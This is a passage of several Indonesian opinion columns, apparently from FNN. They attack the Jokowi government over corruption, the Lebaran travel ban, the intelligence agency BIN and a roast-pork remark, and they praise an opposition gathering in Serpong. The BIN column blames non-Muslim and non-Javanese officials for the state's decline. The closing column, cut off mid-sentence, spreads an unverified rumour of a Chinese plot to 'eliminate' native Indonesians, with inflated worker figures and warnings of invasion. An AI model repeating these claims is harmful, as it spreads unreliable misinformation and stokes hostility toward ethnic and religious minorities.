2021 ini diperkirakan angka kemiskinan masih terus bertambah. Itu data resmi negara, namun secara empirik saat ini angkanya bisa lebih dari itu. Ya, rakyat sengsara. Penguasa Berpesta Jika rakyat sengsara, apakah penguasa ikut sengsara? Tidak ! Mereka berpesta. Sebab, selain mereka dapet honor lain lain, mereka masih menikmati gajih secara utuh dari pajak rakyat. Lebih miris korupsi penguasa masih sering kita dengar. Bayangkan ditengah rakyat menderita, tega-teganya uang untuk bantuan sosial (bansos) rakyat miskin dikorupsi. Tidak hanya itu korupsi juga terjadi di sektor pajak, dan lain-lain. Puluhan hingga ratusan milyar dikorupsi, bahkan secara total diduga kuat angka korupsinya mencapai triliunan rupiah. Ya, penguasa berpesta dengan kue korupsi. Kini ditengarai sedang terjadi semacam 'bancakan uang APBN' untuk modal pemilu 2024. Ya, penguasa pesta uang APBN. Rakyat tak usah diperhatikan. "Persetan Rakyat !" Kata anggota DPR versi DPR-Musikal yang viral itu. Terjadinya korupsi yang terus-menerus ini menyebabkan indek persepsi korupsi (corruption perception Index) Indonesia sangat buruk, skornya 37 (Transparency International,2020). Itu artinya rapotnya masih merah karena skor 37 dari rentang 0 sampai 100. Kini rezim makin berpesta karena UU KPK versi revisi sudah disahkan, upaya 51 Guru Besar yang meminta Uji Materi ke Mahkamah Konstitusi (MK) juga ditolak, dan puluhan penyidik KPK yang berintegritas kini bakal tersingkir melalui mekanisme tes wawasan kebangsaan yang janggal itu. KPK dan MK dua lembaga yang dibangun dengan darah dan nyawa Reformasi kini lunglai terpuruk di titik nadir. Cendekiawan Yudi Latif di sebuah media nasional menyebut ini sebagai Penghancuran Pencapaian (6/5/2021). Ya penguasa berpesta, sebab koruptor yang merugikan negara puluhan triliun rupiah dibebaskan. Sejak UU KPK yang baru disahkan untuk pertama kalinya dalam sejarah KPK mengeluarkan SP3 (Surat Penghentian Penyidikan Perkara) untuk koruptor BLBI yang merugikan uang negara triliunan rupiah itu. Itu permulaan, sangat mungkin akan ada SP3 berikutnya. Para penguasa bisa berkesimpulan Korupsi tidak apa-apa nanti juga bisa di SP3. Itu narasi pesta para penguasa. Miris dan menyakitkan. Agenda reformasi untuk memberantas korupsi makin hancur lebur. Mereka berpesta ditengah remuknya harapan rakyat. Berpesta ditengah rakyat sengsara! Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta (UNJ)

Jokowi Harus Tiru LaNyalla

Oleh Rahmi Aries Nova Jakarta, FNN - DI saat rakyat tidak bisa lagi berharap pada wakilnya di Dewan Perwakilan Rakyat (DPR), Dewan Perwakilan Daerah (DPD) tampil lebih bernyali. Tak canggung bertemu dengan oposisi. Sepakat ingin merawat negeri. Sikap itu diperlihatkan Ketua DPD RI, AA LaNyalla Mahmud Mattalitti yang datang memenuhi undangan diskusi terbatas di Sekolah Insan Cendekia Madani BSD, Jumat (7/5/2021). Dalam suasana yang cair, santai dan penuh canda, kecuali menyampaikan empat prioritas yang menjadi concern kerja DPD RI sebagai wakil daerah, LaNyalla yang didampingi Senator Bustami Zainudin (Lampung), Fachrul Razi (Aceh) dan Sekretaris Jenderal DPD RI, Rahman Hadi, juga mendengar masukan dari sosok-sosok yang selama ini dilabeli sebagai oposisi. Hadir di ruang diskusi tokoh-tokoh sekelas Gatot Nurmantyo, Rizal Ramli, Bachtiar Chamsyah, Ahmad Yani, Mohammad Said Didu, MS Kaban, Ubaidillah Badrun, Natalius Pigai, Adhi M. Massardi, Marwan Batubara, awak redaksi FNN, serta tuan rumah yang juga senator asal Sulawesi Selatan Tamsil Linrung. Diskusi dipandu oleh wartawan senior FNN Kisman Latumakulita. Gatot yang mengaku amat mengenal LaNyalla (biasa dialog ala Jawa timuran) mengingatkan bahwa betapa saat ini 'kekuatan' partai politik dan ormas sudah tergerus. Jika dibiarkan akan membuat bangsa terjerembab kian dalam. "DPR jaman sekarang sudah seperti PNS. Bola ada di tangan DPD," tegas Rizal Ramli. Menurut Rizal, cuma orang yang tidak konvensional yang bisa mengubah kondisi saat ini. Sejarah mengatakan begitu, baik sejarah dalam ilmu pengetahuan, teknologi, bahkan sejarah lahirnya Islam di jaman jahiliah. Sementara politisi senior Bachtiar Chamsyah yang juga mantan Menteri Sosial mengaku apa yang dilakukan LaNyalla adalah terobosan yang pasti penuh risiko. Tetapi, setiap pemimpin harus berani mengambil risiko tersebut demi terjadinya perubahan. LaNyalla sendiri dalam pidato dengan teksnya mengakui harus ada koreksi pada pemerintah karena ada yang berbeda antara yang disampaikan dengan kenyataan setelah ia berkeliling ke berbagai daerah di Indonesia selama satu tahun terkahir. Manajemen bangsa perlu dibenahi. "Pemerintah harus dikawal," cetus mantan Ketua Umum PSSI ini. Meski masih terlalu dini menilai 'road map', yang akan ia jalani tapi pertemuan yang diselingi dengan buka bersama dan sholat berjamaah di Masjid Nurul Izzah menurut Adhi Massardi sangat baik di tengah kondisi bangsa yang terbelah sangat dalam seperti saat ini. "Pertemuan Serpong ini lebih memberikan harapan agar terjadi perubahan ke arah perbaikan," aku Adhi, mantan juru bicara Presiden Abdulrahman Wahid (Gus Dur) tersebut. LaNyalla sepertinya cukup santai mengambil sikap yang berbeda dengan kebanyakan pendukung Jokowi. Berani dan mau berdiskusi dengan oposisi adalah bagian dari melaksanakan kehidupan demokrasi dalam penyelenggaraan pemerintahan, serta mempertahankan dan memelihara kerukunan nasional dan keutuhan Negara Kesatuan Republik Indonesia, yang masuk menjadi kewajiban anggota DPD. Suatu yang harusnya diikuti oleh pendukung Jokowi lainnya, bahkan Jokowi sendiri. Itu kalau Jokowi punya nyali...** Penulis, wartawan senior FNN.co.id.

Poros Serpong, Repetisi Keluar Dari Malapetaka Bangsa (Bagian-1)

by Tamsil Linrung Jakarta FNN - Pertemuan sejumlah tokoh penting dalam acara diskusi Redaksi Forum News Network (FNN.co.id) yang diperluas, menarik atensi publik dan jagar politik nasional. Laksana oase yang sudah lama dinanti-nanti. Oase untuk melepas dahaga di tengah atmosfer gersang kemarau panjang dinamika politik di republik ini. Hanya berselang beberapa menit setelah acara dibuka, dan para figur utama mengutarakan gagasan di podium, saya mendapatkan informasi jika media sosial sudah riuh. Publik bersahut-sahutan merespons foto-foto yang dilansir dari ajang kegiatan yang berlangsung. Medsos bergemuruh. Tak jauh berbeda dengan suasana di Aula Insan Cendekia Madani (ICM) yang dihadiri undangan terbatas representasi dari beberapa elemen. Duduk bersama di satu meja antara lain Ketua Dewan Perwakilan Daerah (DPD) La Nyalla Mattalitti, Jenderal (Purn.) Gatot Nurmantyo, Rizal Ramli dan banyak tokoh penting dalam satu forum kebangsaan yang digagas media FNN.co.id memang sesuatu yang langka. Ketiga figur terbaik di republik tersebut, masing-masing punya tensi kesibukan dan aktivitas yang tinggi. Lebih dari itu, persoalan paling substantif adalah mereka telah berada pada frekuensi yang sama dalam melihat persoalan bangsa di tengah resesi ekonomi dan krisis multidimensi. Pertemuan di bulan suci nan agung yang dirangkaikan dengan buka puasa bersama, kita do’akan membawa berkah tersendiri bagi negeri ini. Urun gagasan para tokoh, membuka gerbang harapan, memperkaya khazanah kebangsaan dengan ide-ide cerdas. Terutama merespons situasi kontemporer. Termasuk dinamika politik. Media bahkan memberikan nama tersendiri untuk acara dialog yang sebetulnya rutin dilaksanakan Redaksi FNN, dan menghadirkan narasumber dari berbagai latar belakang. “Poros Serpong”. Begitu media nasional menyebutnya. Kita tentu sudah paham, kemana terminologi kata “Poros” berkiblat. Tak lain merujuk pada kristalisasi kekuatan-kekuatan politik yang mengemuka seiring pembicaraan ke arah kontestasi elektoral. Media tentu saja masih mengenang “Poros Tengah” di belantara politik Indonesia. “Poros Tengah” lahir sebagai monumen penting di pelataran sejarah bangsa. Sebab “Poros Tengah”, berhasil mengorbitkan almarhum Gus Dur sebagai Presiden di tengah arus dinamika elit yang menegang. Lalu, apakah “Poros Serpong” akan kembali mencatat sejarah di tengah situasi yang tak jauh berbeda dengan peristiwa tahun 1999 silam? Biar waktu dan sejarah yang mencatat. Yang pasti, para tokoh dan figur yang hadir, memboyong bongkahan spirit perubahan. Perubahan kini telah menjadi kebutuhan yang mendesak menyelesaikan berbagai persoalan bangsa. Sebagai tuan rumah, barangkali perlu juga saya sampaikan bahwa pertemuan yang kini jadi sorotan itu, sebetulnya tidak dalam intensi menciptakan poros politik. Sebab ini bukan pertemuan Partoi Politik (Parpol). Bukan juga safari elit Dewan Pimpinan Pusat (DPP) parpol. Ini hanya silaturahmi dengan frekwensi yang sama, yaitu perubahan, perubahan dan perubahan. Bila kemudian buah dari pertemuan tersebut menciptakan efek kejut politik, itu sesuatu yang wajar dan patut disambut secara positif pula. Apalagi memang, figur-figur yang hadir, harus diakui masing-masing punya kapasitas politik mumpuni. Pengaruh kuat mengakar ke bawah, laiknya satu institusi parpol. Belum lagi nama-nama tersebut selalu mencuat di blantika survei elektoral. Pak Nyalla, selain sejak lama dikenal sebagai organisatoris ulung di Pemuda Pancasila, KADIN dan PSSI, saat ini juga merupakan pejabat negara. Sebagai Ketua DPD RI. Lembaga yang mewadahi senator dari 34 provinsi, dan selalu disebut sebagai Fraksi terbesar di MPR. Mereka senator DPD adalah para wakil rakyat yang memperoleh legitimasi politik paling kuat di Senayan. Begitu pula dengan sosok Jenderal Gatot Nurmantyo. Mantan Panglima TNI, yang meski sudah Purnawirawan, tetapi masih terus berkiprah membangun negeri melalui kegiatan-kegiatan sosial dan gerakan politik moral. Satu dari tiga orang Presidium Koalisi Aksi Menyelamatkan Indonesia (KAMI). Lembaga yang mewadahi cendekiawan, aktivis, akademisi, profesional dan berbagai elemen bangsa dengan jaringan tersebar di seluruh Indonesia. Demikian pula Dr. Rizal Ramli. Sosok ekonom kawakan. Beberapa kali berada di jajaran eksekutif sebagai Menteri. Berjejaring di level politik dan ekonom internasional. Meski demikian, hingga kini Rizal tetap teguh dengan idealisme perjuangan. Kritis, lugas dan bernas dalam menyampaikan pandangan-pandangan terhadap situasi kebangsaan. Khususnya persoalan ekonomi Indonesia. Namun apapun itu, kita tentu juga tidak bisa menegasi pembacaan publik jika ada yang menilai bahwa ini adalah “Poros Serpong”. Melihat duduk bersama La Nyalla, Jenderal Gatot dan Dr. Rizal Ramli sebagai satu kekuatan politik baru di luar spektrum parpol. Tetapi, sekali lagi, ini pertemuan rutin yang sudah didahului dengan forum-forum sebelumnya. Bakal diikuti dengan pertemuan-pertemuan selanjutnya. Di luar itu, juga kehadiran sosok-sosok penting, termasuk dua Menteri era SBY, Menteri Sosial Bachtiar Hamzah dan Menteri Kehutanan MS. Kaban, juga Natalius Pigai, Ahmad Yani, Adhie Massardi, Marwan Batubara, Muhammad Said Didu dan yang lainnya. Persoalan esensial yang justru menarik kita untuk diskusikan lebih lanjut, adalah isu yang mencuat di balik berkumpulnya para tokoh yang konsen mengikuti dinamika kebangsaan kontemporer tersebut. (bersambung). Penulis adalah Senator DPD RI.

Promosikan Babi Panggang, Jokowi Tak Sengaja atau Sering Lihat?

by Asyari Usman Medan, FNN - Babi panggang sedang menjadi buah bibir. Dibicarakan di mana-mana. Sekaligus juga menimbulkan kehebohan di masyarakat. Khususnya di kalangan umat Islam. Presiden Jokowi mempromosikan “Bipang Ambawang” (Babi Panggang Ambawang). Ini adalah masakan khas Kalimantan Barat, khususnya di Pontianak. Apa benar Jokowi mempromosikan babi panggang? Jika disimak rekaman video yang beredar, sangat jelas dia mengiklankan itu bersama makanan khas lainnya. Jokowi menyebut Gudeg Jogya, Bandeng Semarang, Siomai Bandung, Pempek Palembang, dll. Semua bisa dipesan secara online, kata Jokowi. Promosi ini merupakan bagian dari upaya Presiden untuk menghibur warga yang dilarang mudik. Tidak perlu khawatir soal oleh-oleh untuk keluarga. Bisa dibeli online, diantar ke alamat. Begitu Jokowi meyakinkan orang-orang yang tidak mudik. Nah, sengajakah Jokowi mempromosikan babi panggang untuk Lebaran? Apakah dia lupa bahwa babi itu haram bagi umat Islam? Ini sangat “debatable” (bisa diperdebatkan). Mudah-mudahan Presiden Jokowi murni tidak tahu bahwa Bipang Ambawang (Kalimantan Barat) itu adalah babi panggang. Sebab, promosi babi untuk Lebaran pastilah menyinggung perasaan umat Islam. Ada kemungkinan Jokowi tidak tahu bahwa “bipang” adalah “babi panggang”. Artinya, dia cuma keseleo lidah saja. Tetapi, kalau dikatakan tidak tahu, susah juga dipercaya. Soalnya, Jokowi punya begitu banyak staf yang bisa mengamankan dia agar tidak salah ucap. Kecuali semua staf tidak tahu juga. Pemilik merek “Bipang Ambawang” senang sekali produknya disebut Jokowi sebagai oleh-oleh yang direkomendasikan untuk Lebaran. Wajar saja mereka senang. Akun medsos ‘bipangambawang’ menulis, “Sebuah kebanggaan kami dapat disebut oleh bapak Presiden @jokowi dalam pidato tadi malam di Kompas TV.” Secepat kilat, muncul reaksi dari warganet. Ada yang mengatakan babi itu haram bagi umat Islam, kenapa dipromosikan untuk Lebaran. Ada netizen yang menyatakan bahwa dia “tidak bisa terima” promosi bipang oleh Jokowi. Yang lainnya bercanda agar Jokowi mencontohkan pemesanan Bipang Ambawang itu. Sekarang, bagaimana pembelaan yang pas untuk Jokowi? Apakah lebih baik disebut bahwa rekaman itu dilakukan secara spontan (ad-libbing) yang memungkinkan keseleo, atau bernaskah (scripted)? Kalau spontan, wajar keliru. Kalau bernaskah, tak wajar salah. Kedua-duanya tidak baik bagi Jokowi. Mau dikatakan spontanitas, berarti nama “Bipang Ambawang” itu sudah sangat lekat dalam ingatan beliau sehingga lancar menyebutkan itu bersama gudeg Jogya, bandeng Semarang, pempek Palembang, dlsb. Lekat dalam ingatan itu bisa punya konotasi negatif. Tapi, apakah lekat dalam ingatan berarti Jokowi sering melihat babi panggang? Belum tentu begitu. Sebab, sebagai Presiden, sangat bisa dipahami kalau Jokowi harus bisa mengingat nama-nama masakan khas daerah. Terus, bagaimana kalau rekaman itu dikatakan bernaskah (scripted)? Sama parahnya. Kalau rekaman itu bernaskah, berarti sudah direncanakan dengan matang promosi untuk Bipang Ambawang. Dari sini bisa dilihat dua kemungkinan. Pertama, ada yang sengaja mencelakakan Jokowi. Kedua, tim media Istana sangat konyol. Bodoh sekali kalau mereka tak punya sensitivitas babi panggang bagi umat Islam. Jadi, dilihat dari arah mana pun juga, video promosi babi panggang itu akan tetap bermasalah.[] Penulis adalah Wartawan Senior FNN.co.id

Bobrok & Kacaunya Intelijen Negara Era Reformasi Lalulintas

by John Mempi Jakarta FNN - Eksistensi suatu negara dijaga oleh dua Institusi. Secara fisik dijaga oleh militer, dan secara non-fisik dijaga oleh intelligence. Di dunia ini, sistem politik apapun yang diterapkan suatu negara, selalu ditegakan dan dijaga oleh kekuatan kekuatan bersenjata (militer) yang bersifat offensive, dan kekuatan intelligence yang bersifat preventive. Begitu selalu adanya. Intelijen adalah seni, bukan science. Intelijen adalah planologi, bukan arsitek. Intelijen adalah kecerdasan, bukan kekerasan. Intelijen adalah fungsi, bukan posisi. Intelijen adalah negara bayangan. Semua operasi intelijen hanya bisa dirasakan. Tetapi tidak bisa untuk dibuktikan. Saat keadaan perang terbuka, intelijen militer (combat intelligence) sebagai garda terdepan untuk menghadapi segala macam bentuk ancaman. Saat keadaan damai, maka intelijen sipil (bussines and political intelligence) sebagai garda terdepan untuk menghadapi segala macam bentuk ancaman. Begitu dunia intelijen punya mau. Kecuali intelijen yang odong-odong, kaleng-kaleng atau beleng-beleng. Pada eranya kekuasaan Orde Baru, intelijen membagi peran manusia Indonesia menjadi dua bagian, yaitu kelompok pejuang dan pedagang. Mereka ibarat rel kereta api dengan tujuan yang sama. Pejuang disupport habis oleh pedagang, dan pedagang diback-up habis oleh pejuang. Lain halnya dengan intelijen di era reformasi. Rel kereta apinya disatukan menjadi monorail. Mereka yang pejuang merangkap sebagai pedagang, sehingga mengakibatkan penjahat dan pejabat bersatu dalam satu kubu. Penjahat dan pejabat disatukan di satu lintasan kereta. Awalnya, pejabat dikendalikan penjahat. Lalu berikunya penjahat yang berjuang untuk menjadi pejabat. Akhirnya penjahat yang menguasai negara. Ini memang tragis dan memilukan sekali. Ketika eranya Reformasi dimulai, Badan Koordinasi Intelijen Negara (BAKIN) dirobah menjadi Badan Intelijen Negara (BIN). Saat itulah BIN sebagai lembaga intelijen negara mulai kehilangan fungsi dan perannya. Karena tidak lagi mempunya eksistensi, maka BIN kemudian mendirikan Sekolah Tinggi Intelijen Negara (STIN) yang bertujuan mencetak personil -personil intelijen baru. Akibatnya, pihak intelijen asing dapat dengan sangat mudah melakukan tracking personil intelijen Indonesia. Pekerjaan tracking dari intelijen asing menjadi mudah dan sangat mudah sekali. Misalnya, cukup hanya dengan mendapatkan database siswa dan alumni STIN. Karena STIN merupakan sekolah tinggi, maka untuk memenuhi kebutuhan akademik, STIN juga mempunyai Profesor dan Guru Besar intelijen yang hanya ada di Indonesia. Negara lain tidak mempunyai Prefesor dan GUru Besar intelijen. September 2020, BIN memberikan penghargaan kepada beberapa pejabat negara sebagai warga kehormatan. Padahal track record sebagian pejabat yang diberikan kehormatan tersebut sangat "tidak terhormat". Soekarno dianggap sebagai inspirator intelijen indonesia, sehingga Patung Soekarno berdiri di STIN. Walaupun sesungguhnya inspirator intelijen di Indonesia adalah Sri Sultan Hamengkubowono IX, yang menjadi penasehat spiritualnya Presiden Amerika Serikat ke-40 Ronald Reagan (1981-1989). Dalam operasinya, BIN berobah seperti BUMN yang terbuka untuk publik. BIN menjadi struktural dan administratif, Sehingga hal itu mengakibatkan kompartment intelijen yang eksis di era Orde Lama dan Orde Baru secara alamiah keluar dan meninggalkan BIN. Kemudian kompartement intelijen ini membuat organisasi tanpa bentuk. Mereka membiayai operasinya sendiri, hasil dari modal yang dikumpulkan di era Orde Lama dan Orde Baru. Mereka meninggalkan cara-cara kerja intelijen lalulintas yang ditarapkan di era reformasi sekarang. Mereka tetap beroperasi karena kecintaan terhadap bangsa dan negara indonesia. Mereka juga tetap teguh berpegang kepada ikrar yang diucapkan, yaitu "kami datang dan berkumpul di Bogor. Tidak saling mengenal. Kami berpisah sebagai kawan seperjuangan untuk membela Tanah Air”. Ciri yang menonjol dari kompartemet intelijen era Orde Lama dan Orde Baru adalah, ketika ada diantara mereka yang meninggal dunia, mereka diperlakukan seperti rakyat biasa. Tanpa ada upacara pemakaman. Tanpa ada pemakaman di Taman Makam Pahlawan. Sebagai bentuk penghormatan, hanya kawan seperjuangan mereka yang mendatangi kuburan satu persatu. Sikap ini karena mereka terikat dengan sumpah untuk tidak saling kenal-mengenal sampai dengan ajal menjemput. Pola-pikir dan pola-kerja seseorang itu dibentuk dan ditentukan berdasarkan pengalaman masa lalunya. Masa lalunya akan terlihat pada cara dan pola kerjanya ketika menjabat. Kekonyolan kerja-kerja BIN semakin bertambah bobrok, kacau-balau dan amburadul dengan menempatkan Budi Gunawan sebagai Kepala BIN. Seorang polisi yang masa lalunya hanya berpengalaman dalam bidang lalulintas dan ajudan. Hanya itu saja. Tidak lebih dari itu Kerusakan pada institusi BIN semakin dalam ketika para agent BIN berobah statusnya menjadi pegawai BIN. Makanya tidaklah aneh jika setiap hari Senin sampai Rabu, agent yang berubah menjadi pegawai BIN, wajib mengenakan “baju putih” sesuai dengan bajunya Presiden Jokowi. Sedangkan pada hari Kamis sampai Jumat mengenakan “baju batik”. Bahkan para pejabat BIN dengan bangga berpose menggunakan seragam militer dengan tanda pangkat bintang di pundaknya. Supaya terlihat publik gagah sebagai orang intelijen. Prilaku pejabat BIN yang bangga berpose menggunakan seragam militer dengan tanda pangkat bintang ini, hanya untuk memperlihatkan kepada masyarakat berkaitan posisi dan jabatannya di BIN. Warna kantor BIN di Pejaten berobah menjadi warna merah, sesuai dengan warna partai yang berkuasa. Pergantian struktur pejabat di BIN diumumkan secara terbuka kepada publik. Sementara di daerah-daerah, KABINDA tampil terbuka layaknya kepala daerah bayangan dan ikut dalam kegiatan Pilkada. Dahulu itu partai politik di bawah kendali BIN. Namun sekarang terbalik. BIN berada dibawah kendali partai politik. Pemilihan Kepala BIN bukan berdasarkan kepentingan negara. Tetapi berdasarkan kepentingan partai politik. Kalau di eranya Orde Baru, Kepala BIN disibukan untuk mengumpulkan Informasi, Sementara di eranya Reformasi ini, Kepala BIN disibukan dengan mengumpulkan uang untuk mempertahankan kekuasaan. Tragisnya lagi, BIN membentuk “Pasukan Rajawali” yang merupakan pasukan pemukul yang dipamerkan kepada publik. Seharusnya tidak perlu di publikasikan. Tetapi dengan bangganya diperkenalkan kepada masyarakat, seakan-akan ini baru pertama kali terjadi dalam sejarah BIN. Pasukan Rajawali merupakan pasukan khusus BIN model pasukan anti-teror. Dalam operasinya, BIN menerapkan aksi-aksi teror untuk mengamankan kekuasaan. Contoh yang paling telanjang dan terbuka adalah kasus Habib Rizieq Shihab (HRS). Pada eranya Orde Baru, pengusaha dan pejabat digalang oleh Intelijen. Sementara di era Reformasi, intelijen digalang oleh pengusaha dan pejabat. Akhirnya negara dikuasai oleh kawanan penjahat. Pada era Orde Baru, setiap interogasi intelijen menghasilkan informasi. Namun di era Reformasi, interogasi menghasilkan duit. Perbedaan paling mencolok intelijen di era Orde Baru dengan eranya Reformasi adalah, jika Orde Baru dikenal dengan “operasi intelijen”. Sementara ira Reformasi dikenal dengan “proyek intelijen”. Misalnya, saat pandemi Covid-19, BIN terlihat bersaing dengan institusi lainnya untuk berebut anggaran dengan menggelar Rapid Test massal dan gratis. BIN menggunakan mobile laboratorium layaknya pelayanan SIM dan STNK Keliling, dan mobil yang penyemprot disinfektan. Cara-cara kerja polisi lalulintas yang hari ini terlihat dominan pada kerja-kerja BIN. Ini wajar saja, karena Kepala BIN mantan polisi lalulintas. Persoalan lain dari kerja-kerja BIN yang bobrok dan kacau-balau adalah banyak personel BIN yang saat ini diisi oleh anggota Polri. Lagi-lagi, karena Kepala BIN berasal dari polisi lalulintas yang miskin dan tidak mempunyai background intelijen. Jika ada background intelijen, itu hanya sebatas kualifikasi reserse kriminal. Kebiasaan anggota Polri yang ingin tampil di media massa dalam gelar perkara (press conference) secara alamiah ikut terbawa ketika anggota Polri masuk ke dalam institusi BIN. Saat ini Covid-19 bukan lagi sebagai masalah kesehatan semata. Melainkan sudah menjadi masalah kedaulatan negara. Sehingga TNI wajib untuk turun tangan, karena berkaitan dengan sistem pertahanan negara. Trasgisnya, pemerintah Indonesia menganggap persoalan Covid-19 hanya sebagai masalah perdagangan saja. Beginilah akibat kerja dari Kepala BIN yang mantan polisi lalulintas. HRS yang dahulu merupakan produk intelijen di era Orde Baru, saat reformasi menjadi musuh utama dan terutama dari BIN. Padahal HRS yang selalu berbicara persoalan keselamatan negara. Namun karena BIN tidak berbicara soal keselamatan negara. Tetapi tentang persoalan keselamatan dari Kepala Negara. Bagaimana agar tetap bertahan di singgasana kekuasaan. Sudah pasti tidak nyambung prekwensinya. Bedanya antara laingt-langit dan bumi-bumi. Para agen muda BIN yang saat masuk pertama kali ke dalam BIN dengan idealisme tinggi. Tetapi setelah di dalam, dirusak moral dan mentalnya oleh atasannya sendiri, Misalnya, dengan melakukan operasi-opreasi yang hanya untuk kepentingan pribadinya petinggi dan Kepala BIN semata. Sementara di kalangan perwira, baik TNI maupun Polri, hari ini BIN dijadikan sebagai tempat untuk menaikan pangkatnya orang-orang yang tidak berprestasi di TNI dan Polri. Kasus yang paling memalukan dan menyedihkan adalah KABINDA Papua yang ditembak mati oleh gerombolan bersenjata. Ketika Papua terdapat suatu kelompok bersenjata, maka daerah tersebut merupakan daerah operasi militer, sehingga intelijen yang beroperasi di Papua adalah combat intelligence (BAIS). Bukan BIN, karena tidak sepantasnya seorang yang berpangkat Brigjen dengan kualifikasi pasukan Gultor Kopassus harus ikut patroli di daerah perang gerilya. Cukup hanya setingkat Komandan Palaton (Danton) atau Komandan Regu (Danru) saja. Akhirnya TNI harus menanggung malu, dan membayar mahal akibat kesalahan kebijakan pemerintah yang menurunkan derajat kewaspadaan, dengan menganggap masalah di Papua adalah masalah teroris semata. Kenyataan ini tidak terlepas dari masalah konstitusi yang melahirkan arogansi. Banyak komponen masyarakat yang tertekan dan terpinggirkan oleh kebijakan di era Orde Baru. Namun Orde Baru telah melunasi hutang sosial politiknya di era Reformasi ini. Caranya memberikan kekuasaan politik seluas-luasnya kepada kelompok yang merasa disakiti dan dipinggirkan selama Orde Baru berkuasa. Radikal Kiri dan Radikal Kanan, Ekstrim Kiri dan Ekstrim Kanan, Non-Muslim dan Non-Jawa diberi kesempatan untuk mengelola pemerintahan. Hasilnya seperti yang terlihat hari ini. Intelijen negara bobrok, kacau-balau dan amburadul. Akhirnya, setelah 22 tahun Reformasi, masyarakat dapat menilai hasil pembangunan yang dicapai dengan basis sakit hati dan dendam kesumat yang tiada akhir. Semoga bermanfaat. Penulis adalah Pemerhati Intelijen & Akitivis ’98.

Presiden Renggut Kebahagiaan Rakyat Dengan Teror

by M. Rizal Fadillah Bandung FNN - Sedih dan miris melihat beberapa foto dan video beredar di media sosial (medsos) yang yang berkaitan dengan pergerakan muduk lebaran. Foto dan video yang menggambarkan betapa ketat aparat keamanan menjaga batas pintu masuk Kabupaten-Kota di Pulau Jawa. Aparat melakukan segala cara untuk menghalangi masyarakat pulang kampung. Salah tersebut satu video menayangkan konon di perbatasan Bogor-Bekasi penjagaan sampai dengan mengerahkan kendaraan militer. Media melansir berita bahwa "Satuan Tempur TNI Dikerahkan untuk penyekatan Pemudik di Jawa Tengah". Ada tiga hal yang memprihatinkan rakyat, bangsa, dan negara dengan fenomena ini. Pertama, keterlibatan militer untuk penyekatan "menghadapi" rakyat pemudik adalah berlebihan. Institusi yang kompeten cukup Kepolisian saja. Sama berlebihannya dengan pasukan Kodam Jaya menurunkan Baliho Habib Rizieq Shihab (HRS) yang menjadi tugas dan kewenangan Satpol PP. Kedua, efek psikologis menurunkan "Satuan Tempur TNI" adalah teror psikologis kepada rakyat yang sudah direnggut kebahagiannya. Larangan mudik itu jelas-jeles mengecewakan dan menyedihkan rakyat. Terkesan betapa bahayanya rakyat di depan aparat keamanan, sehingga perlu diteror dengan pasukan dan peralatan tempur. Rakyat yang mudik itu bukan teroris. Ketiga, rakyat pulang kampung atau mudik bukan berarti memiliki uang berlimpah. Mereka sekedar ingin bertemu dengan sanak keluarga, orang tua dan kerabat. Dengan pengerahan pasukan dan aparat maksimal, maka penyekatan dapat dikesankan menjadi "proyek lebaran" bagi petugas. Pasukan TNI yang dikerahkan mencitrakan selama ini bahwa pasukan itu memang "menganggur". Bahwa kondisi pandemi semua sudah tahu, rambu-rambu sudah dibuat yang disebut prokes. Kebijakan ketat mudik tak sebanding dengan longgarnya pariwisata. Mall tetap dibuka, pariwisata masih saja digalakkan. Tragisnya, pulang pergi penerbangan ke negeri Cina dibuka lebar. Ketidak-adilan terus menampar wajah kekecewaan dan kepedihan rakyat Indonesia. Jika ingin ketat urusan pergerakan masyarakat antar daerah, sejak dulu telah disarankan berlakukan saja sekaligus kebijakan "lockdown" tetapi pemerintah memang "bokek dan dungu", sehingga tak mampu membiayai rakyat. Akhirnya kebijakan inkonsisten terpaksa diambil. Kebijakan plintat-plintut. Pejabat, pengusaha, atau orang kaya mampu berputar-putar menikmati wisata belanja dimana-mana. Sementara rakyat yang hidup pas-pasan atau bernafas kembang kempis, untuk dapat bertemu bapa dan ibunya saja tidak bisa. Kebahagiaan yang terenggut di negeri banjir air mata. Resah Soal TKA Cina Berita media gelora.co, konten Islam.com, Swamedium Dotcom dan lainnya tentang (diduga) James Riyadi, konglomerat taipan yang menyatakan etnis Cina akan mengeleminasi pribumi dalam 10 tahun ke depan, cukup menggemparkan. Dinyatakan tahun 2014 telah masuk 10 Juta Tenaga Kerja Asing (TKA) asal Cina ke Indonesia. Jumlah ini sudah melebihi kuota. Lalu tahun 2021 kini TKA Cina sudah berjumlah 17 Juta. Mendapat proteksi dari para naga yang menjadi penyandang dana. Disebutkan sejak 2019, hingga kini telah 1238 penerbangan ke berbagai bandara untuk mengangkut TKA Cina. Ditambah 933 kapal berlabuh membawa emigran Cina ke Indonesia. Berita ini memang masih perlu uji kesahihan. Apakah benar yang diungkap oleh James Riyadi atau kebenaran fakta-fakta yang dimunculkan? Baik itu soal penerbangan, kapal laut, maupun jumlah TKA Cina yang kini telah berjumlah 17 Juta orang. Meskipun demikian informasi ini tidak dapat begitu saja diabaikan. Tidak bisa untuk dianggap angin lalu atau informasi hoax. Informasi tersebut perlu direspons Pemerintah maupun masyarakat. Terutama besarnya gelombang kedatangan emigran yang berdalih TKA Cina. Jika informasi ini benar, tentu sangat berbahaya. Telah terjadi Infiltrasi, sehingga invasi bisa saja terjadi setiap saat. Aneksasi hingga eliminasi bukan hal yang mustahil. Bisa terjadi setiap saat bila penguasa Cina sudah menganggap perlu. Rakyat cukup lama resah dan gelisah dengan masifnya TKA Cina masuk dan bekerja di Indonesia. Mereka kebanyakan bukan berprofesi dengan keahlian spesifik. Bekerja dengan kemampuan yang sama dan dapat dilakukan oleh tenaga kerja kita sendiri. Meski nyatanya digaji TKA Cina berbeda. Gaji TKA Cina jauh lebih tinggi dari pererja Indonesia. Pembukaan penerbangan Jakarta-Wuhan di tengah masyarakat sendiri yang dilarang ketat untuk dapat mudik di bulan Ramadhan, sangat ironi dan mengkhawatirkan. Diperkirakan ada beberapa hal penting untuk diperhatikan atau bahkan dilakukan. Pertama, instansi pemerintah, baik itu Pusat maupun Daerah harus memiliki data valid mengenai jumlah TKA Cina yang ada di negara Indonesia. Pendataan ini perlu berdasarkan UU Keterbukaan Informasi Publik. Masyarakat secara terbuka harusnya dapat menerima informasi yang akurat tentang keberadaan TKA Cina dari instansi Pemerintah tersebut. Kedua, masyarakat perlu membentuk semacam Lembaga Swadaya Masyarakat (LSM) yang khusus mengawasi TKA Cina. Pengawasan yang khusus untuk mengawasi keberadaan TKA Cina di berbagai daerah. Bisa namanya “Emigran Care” 